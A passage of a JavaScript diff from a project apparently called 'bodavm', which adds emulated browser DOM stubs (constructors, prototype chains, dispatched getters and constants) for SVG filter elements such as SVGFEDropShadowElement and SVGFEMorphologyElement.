get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDisplacementMapElement'].prototype, "SVGFEDisplacementMapElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEDistantLightElement对象 + +bodavm.memory.globalobj['SVGFEDistantLightElement'] = function SVGFEDistantLightElement() { + console.log_copy('SVGFEDistantLightElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDistantLightElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDistantLightElement'], "SVGFEDistantLightElement"); +bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDistantLightElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "azimuth", { + configurable: true, + enumerable: true, + get: function azimuth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "azimuth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDistantLightElement', "elevation", { + configurable: true, + enumerable: true, + get: function elevation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDistantLightElement'].prototype, "SVGFEDistantLightElement", "elevation_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEDropShadowElement对象 + +bodavm.memory.globalobj['SVGFEDropShadowElement'] = function SVGFEDropShadowElement() { + console.log_copy('SVGFEDropShadowElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEDropShadowElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDropShadowElement'], "SVGFEDropShadowElement"); +bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEDropShadowElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dx", { + configurable: true, + enumerable: true, + get: function dx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "dy", { + configurable: true, + enumerable: true, + get: function dy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "dy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationX", { + configurable: true, + enumerable: true, + get: function stdDeviationX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "stdDeviationY", { + configurable: true, + enumerable: true, + get: function stdDeviationY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "stdDeviationY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEDropShadowElement', "setStdDeviation", { + configurable: true, + enumerable: true, + writable: true, + value: function setStdDeviation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDropShadowElement'].prototype, "SVGFEDropShadowElement", "setStdDeviation", arguments); + } +}, 'prototype'); +// SVGFEFloodElement对象 + +bodavm.memory.globalobj['SVGFEFloodElement'] = function SVGFEFloodElement() { + console.log_copy('SVGFEFloodElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFloodElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFloodElement'], "SVGFEFloodElement"); +bodavm.memory.globalobj['SVGFEFloodElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEFloodElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEFloodElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEFloodElement'].prototype, "SVGFEFloodElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEFuncAElement对象 + +bodavm.memory.globalobj['SVGFEFuncAElement'] = function SVGFEFuncAElement() { + console.log_copy('SVGFEFuncAElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncAElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncAElement'], "SVGFEFuncAElement"); +bodavm.memory.globalobj['SVGFEFuncAElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncAElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncAElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +// SVGFEFuncBElement对象 + +bodavm.memory.globalobj['SVGFEFuncBElement'] = function SVGFEFuncBElement() { + console.log_copy('SVGFEFuncBElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncBElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncBElement'], "SVGFEFuncBElement"); +bodavm.memory.globalobj['SVGFEFuncBElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncBElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +// SVGFEFuncGElement对象 + +bodavm.memory.globalobj['SVGFEFuncGElement'] = function SVGFEFuncGElement() { + console.log_copy('SVGFEFuncGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncGElement'], "SVGFEFuncGElement"); +bodavm.memory.globalobj['SVGFEFuncGElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncGElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +// SVGFEFuncRElement对象 + +bodavm.memory.globalobj['SVGFEFuncRElement'] = function SVGFEFuncRElement() { + console.log_copy('SVGFEFuncRElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncRElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncRElement'], "SVGFEFuncRElement"); +bodavm.memory.globalobj['SVGFEFuncRElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncRElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +// SVGFEGaussianBlurElement对象 + +bodavm.memory.globalobj['SVGFEGaussianBlurElement'] = function SVGFEGaussianBlurElement() { + console.log_copy('SVGFEGaussianBlurElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEGaussianBlurElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEGaussianBlurElement'], "SVGFEGaussianBlurElement"); +bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEGaussianBlurElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationX", { + configurable: true, + enumerable: true, + get: function stdDeviationX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationY", { + configurable: true, + enumerable: true, + get: function stdDeviationY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "setStdDeviation", { + configurable: true, + enumerable: true, + writable: true, + value: function setStdDeviation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "setStdDeviation", arguments); + } +}, 'prototype'); +// SVGFEImageElement对象 + +bodavm.memory.globalobj['SVGFEImageElement'] = function SVGFEImageElement() { + console.log_copy('SVGFEImageElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEImageElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEImageElement'], "SVGFEImageElement"); +bodavm.memory.globalobj['SVGFEImageElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEImageElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEMergeElement对象 + +bodavm.memory.globalobj['SVGFEMergeElement'] = function SVGFEMergeElement() { + console.log_copy('SVGFEMergeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEMergeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeElement'], "SVGFEMergeElement"); +bodavm.memory.globalobj['SVGFEMergeElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEMergeElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEMergeNodeElement对象 + +bodavm.memory.globalobj['SVGFEMergeNodeElement'] = function SVGFEMergeNodeElement() { + console.log_copy('SVGFEMergeNodeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEMergeNodeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeNodeElement'], "SVGFEMergeNodeElement"); +bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEMergeNodeElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEMergeNodeElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype, "SVGFEMergeNodeElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEMorphologyElement对象 + +bodavm.memory.globalobj['SVGFEMorphologyElement'] = function SVGFEMorphologyElement() { + console.log_copy('SVGFEMorphologyElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEMorphologyElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMorphologyElement'], "SVGFEMorphologyElement"); +bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEMorphologyElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_DILATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_DILATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "operator", { + configurable: true, + enumerable: true, + get: function operator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "operator_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusX", { + configurable: true, + enumerable: true, + get: function radiusX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusY", { + configurable: true, + enumerable: true, + get: function radiusY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, 